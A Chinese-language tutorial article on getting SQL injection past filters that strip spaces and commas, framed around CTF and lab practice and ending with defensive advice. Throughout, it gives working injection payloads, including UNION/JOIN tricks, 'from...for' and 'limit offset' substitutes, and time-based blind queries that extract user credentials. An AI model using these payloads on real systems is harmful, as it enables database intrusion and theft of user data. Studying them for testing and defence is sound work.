当前位置: 首页 > news >正文

SQL注入绕过技巧:空格与逗号过滤的实战解决方案

1. 项目概述:当SQL注入遇上字符过滤

在渗透测试和CTF比赛中,我们经常会遇到一些“加了料”的靶场或真实环境,它们为了增加难度或模拟初级防护,会对SQL注入语句中的特定字符进行过滤。其中,空格和逗号可以说是最常被“关照”的两个。空格用于分隔SQL关键字和子句,逗号则广泛用于函数参数分隔、LIMIT子句以及UNION SELECT的字段枚举。一旦这两个字符被过滤,很多新手可能会觉得无从下手,经典的注入语句直接“哑火”。但实际上,这种过滤往往只是增加了门槛,远未达到彻底防御的效果。今天,我就结合自己多年的实战和打靶经验,系统性地梳理一下当空格和逗号被过滤时,我们手里还有哪些“牌”可以打,以及这些绕过技巧背后的原理和适用场景。无论你是正在攻克CTFHub、DVWA、Pikachu靶场,还是研究MyBatis、Oracle等特定环境的注入,理解这些底层技巧都能让你事半功倍。

2. 核心绕过思路与原理拆解

在深入具体技巧之前,我们必须先建立一个核心认知:绕过过滤的本质是寻找功能等效的替代方案。WAF(Web应用防火墙)或简单的字符串过滤逻辑,通常是基于正则表达式匹配并替换或拦截特定的“危险字符串”,比如/\s+/匹配所有空白字符(包括空格、制表符、换行符),或者直接过滤逗号,。我们的目标就是构造出能实现相同SQL语义,但“长相”却不在黑名单里的payload。

2.1 空格过滤的绕过:不只是/**/

一提到绕过空格过滤,很多人第一反应就是使用注释符/**/。这确实是最经典、最有效的方法之一,因为/**/在SQL中是多行注释,但在此处被我们用作“填充物”,起到了分隔关键字的作用。例如,union select被过滤,可以写成union/**/select。但我们的武器库远不止于此。

原理层面,SQL解析器在解析语句时,需要分隔符来区分不同的词元(Token)。空格是最常见的分隔符,但并不是唯一的。任何能被解析器忽略的“空白”或具有分隔功能的字符都可以尝试。这包括了:

  1. 注释符/**//*!*/(内联注释,MySQL特有)。
  2. 其他空白字符:Tab键(%09)、换行(%0a)、回车(%0d)。在URL编码中,这些字符有时能绕过简单的基于空格的过滤。
  3. 括号():括号本身具有很高的语法优先级,也能起到分隔作用,尤其在函数调用或子查询中。
  4. 其他特殊符号:例如+(在SQL中作为字符串连接符时,在某些数据库如MSSQL中,'sel'+'ect'可能被拼接成select,但更常用于绕过关键字过滤,间接解决空格问题)。

一个关键的注意事项是上下文/**/在绝大多数情况下是可靠的,但在一些极端严格的过滤场景,或者某些数据库的特定版本中,连续的/**/也可能被加入黑名单。因此,掌握多种方法并灵活组合才是王道。

2.2 逗号过滤的绕过:重构语句逻辑

逗号在SQL注入中扮演着多个角色,因此它的绕过需要根据其出现的具体场景来针对性处理,主要分为三类:

  1. 函数参数分隔:如substr(database(), 1, 2)中的逗号。
  2. LIMIT子句:如limit 0,1
  3. UNION SELECT字段枚举:如union select 1,2,3

对于第1点和第2点,SQL标准或特定数据库提供了无需逗号的替代语法。对于第3点,我们则需要改变注入的整个思路,可能转向基于布尔或时间的盲注,或者在UNION注入时利用JOIN等技巧。

核心思路是:查阅官方文档,寻找功能相同但语法不同的表达方式。这要求我们对SQL语法有更深入的了解,而不仅仅是死记硬背payload。

3. 空格过滤的实战绕过技巧详解

下面我们进入实战环节,看看具体有哪些方法可以把被过滤的空格“变”回来。

3.1 注释符大法:/**/ 与 /!/

这是最直接的方法。用注释符代替所有空格位置。

-- 原始语句 union select 1,2,3 from admin -- 绕过后 union/**/select/**/1,2,3/**/from/**/admin

在MySQL中,还可以使用内联注释/*!*/,其中的代码会被MySQL执行,但其他数据库可能视为普通注释。这有时可以绕过一些针对/**/的简单过滤。

union/*!50000select*/1,2,3

这里的50000表示MySQL版本号大于等于5.00.00时才执行其中的语句,可用于版本条件判断,但作为空格替代时通常不写版本号或写一个很低的版本号如/*!0*/

实操心得:在某些靶场(如一些CTF题目)中,可能会过滤/**/中的/*。这时可以尝试双重编码或大小写变形,如%2f%2a%2a%2f(URL编码)或/*\**/,但成功率取决于过滤逻辑的严谨程度。

3.2 利用空白符编码:Tab、换行与回车

当应用层过滤了空格字符(ASCII 32),但未考虑其他空白字符时,我们可以尝试:

  • Tab (%09):union%09select
  • 换行 (%0a):union%0aselect
  • 回车 (%0d):union%0dselect
  • 多个空格:有时过滤规则是/\s+/,但只替换一次,用两个空格 可能绕过。或者使用%a0(HTML中的不换行空格),在某些解析环境下也能被当作分隔符。

这种方法在GET请求的URL参数中尝试较多,因为参数值通常会被URL解码后再送入SQL查询。在POST请求的Body中,也可以直接插入这些字符的原始字节。

3.3 括号的妙用

括号()在SQL中优先级极高,可以用来包裹参数或子查询,自然形成分隔。

  • 在函数中select(user())from(admin)。这里from (admin)的写法是合法的,括号将表名包裹,与前面的函数形成了分隔。
  • 在条件中or(1)=(1)。这等价于or 1=1
  • 结合SELECT子查询:这是非常强大的一种技巧,尤其当unionselect被分开过滤时。例如,需要union select 1,2,3,可以尝试:
    union(select(1),(2),(3))
    或者更复杂地,利用SELECT语句本身可以返回结果集的特性:
    ?id=1 union select * from ((select 1)a join (select 2)b join (select 3)c)
    这条语句通过JOIN构造了一个包含三列的虚拟表,完全避免了在顶层SELECT后使用逗号。虽然引入了join关键字,但很多时候join并不在过滤名单中。

3.4 利用数学运算符或字符串连接符

在极少数情况下,甚至可以用+-||等符号来“粘合”语句,但这非常依赖于数据库类型和上下文。

  • MSSQL'sel'+'ect'可以拼接成select,但这主要用于绕过关键字过滤。对于空格,可以尝试union+select(这里的+在URL中表示空格,但传入MSSQL后可能被解释为字符串连接,结果不可预测,需测试)。
  • Oracle||是字符串连接符,同样主要用于关键字拆分。

这种方法风险较高,极易造成语法错误,通常作为最后的选择,并且需要配合大量测试。

4. 逗号过滤的针对性绕过方案

现在我们来攻克更棘手的逗号过滤。我们必须分场景讨论。

4.1 绕过函数参数中的逗号

常见于substr()mid()if()等函数。

  • substr()mid()from ... for语法
    -- 原语句 substr(database(), 1, 2) mid(database(), 1, 2) -- 绕过语句 substr(database() from 1 for 2) mid(database() from 1 for 2)
    这是SQL标准语法,在MySQL、PostgreSQL等数据库中普遍支持。from指定开始位置,for指定长度。
  • limitoffset语法
    -- 原语句 select * from users limit 0,1 -- 绕过语句 select * from users limit 1 offset 0
    limit 1 offset 0表示从第0条记录之后取1条记录,效果与limit 0,1完全相同。
  • if()函数的替代if(condition, value_if_true, value_if_false)被过滤时,可以使用case when语句。
    -- 原语句,用于时间盲注 if(ascii(substr(database(),1,1))>100, sleep(2), 0) -- 绕过语句 case when ascii(substr(database() from 1 for 1))>100 then sleep(2) else 0 end
  • join绕过union select中的逗号:如前所述,当union select 1,2,3中的逗号被过滤时,可以尝试:
    ?id=-1 union select * from ((select 1) a join (select 2) b join (select 3) c)
    这里通过给每个子查询设置别名(a, b, c),然后用join将它们横向连接,形成了一个三列的临时结果集。union后面跟的是一个完整的select * from ...语句,完美避开了在select后直接列举字段。

4.2 绕过比较操作符与逗号的组合过滤

在盲注中,我们经常使用substr(database(),1,1) > 'a'这样的比较。如果比较符(>,<,=)和逗号同时被过滤,情况就复杂了。

  • 使用greatest()/least()函数绕过比较符
    -- 原语句:判断第一个字符的ASCII码是否大于64 ascii(substr(database(),1,1)) > 64 -- 绕过语句 greatest(ascii(substr(database() from 1 for 1)), 64) = 64
    如果greatest(值, 64)的结果等于64,说明第一个参数(我们的目标值)小于或等于64。如果想判断是否大于64,可以结合least()或使用> 64的逆否逻辑,但通常需要调整payload逻辑。
  • 使用in()between and绕过等号=
    -- 原语句 id=1 -- 绕过 id in(1) id between 1 and 1
    这对于过滤等号非常有效,但需要注意in后面的括号里如果只有一个值,仍然需要逗号(虽然这里没有其他值),所以如果逗号被彻底过滤,in的单值用法也受限。between and则完全不需要逗号。
  • 使用likeregexp进行模糊匹配:在盲注中,可以逐位用like匹配字符。
    substr(database() from 1 for 1) like 'a%' substr(database() from 1 for 1) regexp '^a'
    这不需要等号,但通常需要配合substr,而substr的逗号问题需要用from for解决。

4.3 无逗号盲注的终极方案:位运算与逻辑重构

当所有涉及逗号的函数和语法都被封死时,我们可能需要回归盲注的本质:通过布尔条件(真/假)或时间延迟来推断数据。这时,可以彻底抛弃substr,采用基于位运算的方法。

核心思想:任何一个字符(ASCII码)都可以用8位二进制表示(0-255)。我们可以通过多次查询,用位运算(&,|,>>,<<)来逐位判断其二进制值。

-- 假设我们要判断database()第一个字符的ASCII码 -- 判断第1位(最高位)是否为1 and (ascii(substr(database() from 1 for 1)) >> 7) & 1 = 1 -- 由于有逗号和比较符,需要改写。假设只能用 from for 和 greatest and greatest(ascii(substr(database() from 1 for 1)) >> 7, 1) = 1 -- 但>>优先级可能有问题,且仍有逗号。终极方案:使用十六进制和ord函数组合,但非常复杂。

实际上,在如此严格的过滤下,手工构造payload极其困难,通常会借助自动化工具(如sqlmap的tamper脚本)来生成。但理解原理有助于我们编写自己的tamper脚本。

一个更可行的思路是利用make_set()elt()函数(MySQL):

-- elt(n, str1, str2, ...): 返回第n个字符串。需要逗号。 -- make_set(bits, str1, str2, ...): 根据bits的二进制位返回对应的字符串组合。也需要逗号。

当逗号被过滤时,这些函数也失效了。因此,在极端情况下,最稳健的方法是转向基于时间的盲注,并利用if()case when替代和substrfrom for语法,构造一个不含逗号的延时判断。虽然payload会变得冗长,但理论上是可行的。

5. 综合案例与实战演练

让我们结合几个常见靶场和场景,看看如何综合运用上述技巧。

5.1 案例一:CTFHub技能树之“过滤空格”

这类题目通常只过滤空格。我们的策略很直接,用/**/%0a等替换所有空格即可。原注入点?id=1 union select 1,2,database()过滤后?id=1/**/union/**/select/**/1,2,database()如果/**/也被过滤,尝试%0a?id=1%0aunion%0aselect%0a1,2,database()。或者使用括号:?id=1 union(select(1),(2),(database()))

5.2 案例二:DVWA SQL Injection (Impossible) 的变种

假设一个变种关卡,过滤了空格和逗号。我们需要获取users表中的第一个用户名和密码。

  1. 判断注入点与列数:使用order by判断列数时,order by 3中的逗号是数字的一部分,没问题。但order by本身需要空格,用/**/绕过:?id=1'/**/order/**/by/**/3#
  2. 联合查询union select需要空格,用/**/。字段枚举的逗号是难点。我们可以使用join法。
    ?id=-1'/**/union/**/select/**/*/**/from/**/((select/**/1)a/**/join/**/(select/**/2)b/**/join/**/(select/**/3)c)#
    成功联合后,确定回显点在2和3。
  3. 爆数据:我们需要从users表查userpassword。由于select后不能直接跟user,password(有逗号),我们需要再次借助join,或者使用子查询拼接。方法A(JOIN法):将两个字段分别放在不同的子查询中,然后join。但join默认是横向拼接(增加列),而我们需要的是将两个字段放在同一列回显?这需要调整思路。实际上,我们可以分别注入,一次爆一个字段。
    -- 爆user字段 ?id=-1'/**/union/**/select/**/*/**/from/**/((select/**/user/**/from/**/users/**/limit/**/1/**/offset/**/0)a/**/join/**/(select/**/2)b)#
    这里limit 1 offset 0替代了limit 0,1。我们让user字段作为第一列,第二列固定为2(回显位)。这样在页面回显位置1就能看到用户名。方法B(CONCAT函数):如果concat函数可用且其参数内的逗号未被过滤(有时过滤是针对SQL语法层面的逗号,函数参数内的逗号规则可能不同,但通常一致),可以concat(user,0x3a,password),但这里仍有逗号。如果concat的逗号也被过滤,则concat不可用。方法C(双查询报错注入):如果报错注入可用,且updatexmlextractvalue函数的第二个参数(XPath)中的逗号可以用from for语法吗?不行,这两个函数的参数列表必须用逗号分隔,没有替代语法。所以报错注入在此场景下可能受阻。

踩坑记录:在一次内部攻防演练中,遇到一个过滤了空格、逗号和union的环境。最终方案是使用基于时间的盲注,配合case whensubstr() from for语法,并利用benchmark()sleep()函数。Payload长得像天书,但最终成功跑出了管理员密码。工具(如sqlmap)在这种情况下往往不如手工构造灵活,因为需要自定义tamper脚本处理多重过滤。

5.3 案例三:绕过MyBatis中#{}的过滤

这是一个特殊的场景。MyBatis中#{}是预编译参数占位符,能有效防止SQL注入。但题目说“绕过MyBatis#号进行sql注入”,通常指的是开发错误地使用了${}(字符串拼接)而非#{},或者在某些动态SQL标签(如<if><foreach>)中,由于拼接不当引入了注入。此时,注入点的处理方式和普通注入一样,空格和逗号过滤的绕过技巧完全适用。关键在于找到那个使用${}的脆弱参数。

6. 防御视角与总结反思

从攻击中学习防御。了解了这么多绕过技巧,作为开发或安全人员,我们应该如何构建更坚固的防线?

  1. 永远使用预编译语句(Prepared Statements):这是唯一从根本上解决SQL注入的方法。无论是MyBatis的#{}、JPA的命名参数,还是JDBC的?占位符,只要正确使用,攻击者输入的SQL语法永远不会被数据库引擎执行。上述所有绕过技巧在预编译面前都无效。
  2. 严格的输入验证与白名单:如果业务上某些参数只能是数字,那就用正则/^\d+$/严格校验,非数字直接拒绝。对于表名、列名等,如果必须动态拼接,应使用白名单机制。
  3. 避免动态拼接SQL:这是万恶之源。尽量不要用字符串拼接的方式来构造SQL语句,尤其是在Java中拼接where条件。
  4. WAF的局限性:本文讨论的很多技巧,恰恰说明了基于正则匹配的黑名单WAF很容易被绕过。WAF可以作为一道补充防线,但绝不能作为主要或唯一防线。
  5. 最小权限原则:数据库连接账户不应具有DROPFILE等高危权限,且只授予访问必要数据库和表的权限。这样即使发生注入,危害也能被限制。

回过头看,空格和逗号过滤的绕过,是一场关于SQL语法深度的博弈。攻击者不断寻找语法中的“等价替换”,而防御者则需要理解,真正的安全不是过滤几个字符,而是采用正确的编程范式。对于安全研究者而言,掌握这些技巧是为了更好地测试和加固系统;对于开发者而言,理解这些攻击手段则能时刻提醒自己写出更安全的代码。在实战中,面对过滤,保持冷静,系统性地尝试各种替代方案,从最简单的/**/开始,逐步深入到joinfrom for、位运算,你总能找到那条通往数据之路的缝隙。

http://www.cnnetsun.cn/news/3181208.html

相关文章:

  • 任意文件读取漏洞:从路径遍历到系统沦陷的攻防实战
  • 网络安全漏洞知识图谱实战资源包:含数据清洗脚本、关系抽取代码、演示案例与教学PPT
  • MediaPipe+OpenCV三合一姿态追踪工程:手部关键点、全身骨架、人脸网格实时识别与结果可视化
  • Web安全攻防:CSRF与SSRF漏洞原理、代码审计与防御实战
  • Java SWT桌面UI实战代码包:含按钮/表格/菜单/布局等50+可运行示例
  • 彻底移除Windows 11 AI组件:终极隐私保护与系统性能优化指南
  • 自主AI Agent:规划-执行-反思循环
  • DrissionPage与OCR实战:破解动态加密网站的数据采集方案
  • Matlab一键高斯光斑分析工具:自动提取1D/2D图像的HWHM光束宽度
  • GPT-5.5与Llama开源生态怎么选?GPT-5.5与Llama开源生态的竞合:开发者何去何从
  • 移动端抓包实战:Wireshark配置与HTTPS解密全攻略
  • Matlab版1976美国标准大气模型工具包:0–1000km高度一键输出温度、压力、密度等9项参数
  • NTFS数据流隐写与取证:从原理到实战的攻防解析
  • Vision Transformer (ViT) 从零实现:PyTorch 代码逐行解析 3 大核心模块
  • 接口性能问题诊断:从网络到数据库的实战排查指南
  • SpringBoot+Mybatis数据安全插件:基于拦截器实现字段自动加解密与脱敏
  • Playwright:现代Web自动化与爬虫的瑞士军刀,从原理到实战
  • 逆向工具性能终极对决:radare2、IDA Pro、Ghidra、Binary Ninja深度横评
  • Selenium Grid与Docker容器化:构建标准化自动化测试环境实战
  • 生成式AI工程化落地:五层技术栈与核心场景实战指南
  • Vue3+TypeScript实现Web端微信扫码登录:纯前端内嵌方案全解析
  • PyCharm+Selenium+Python自动化测试环境搭建与实战指南
  • AI驱动的数据库安全:从行为分析到智能威胁检测实战
  • ACE Data Cloud 的 Sora 2 API,为什么适合拿来做对外营销内容
  • 终极AI角色对话平台:用SillyTavern打造专属虚拟伙伴的完整指南
  • React Three Fiber:React 生态中的 3D 渲染方案
  • 鸿蒙物理 108 篇 第七十三篇 六合空间全域架构
  • 复杂异形檐口铝板幕墙安装技术
  • Struts2漏洞检测工具:原理、实战与安全防御体系构建
  • 【复现】新型电力系统下多分布式电源接入配电网承载力评估方法研究(Matlab代码实现)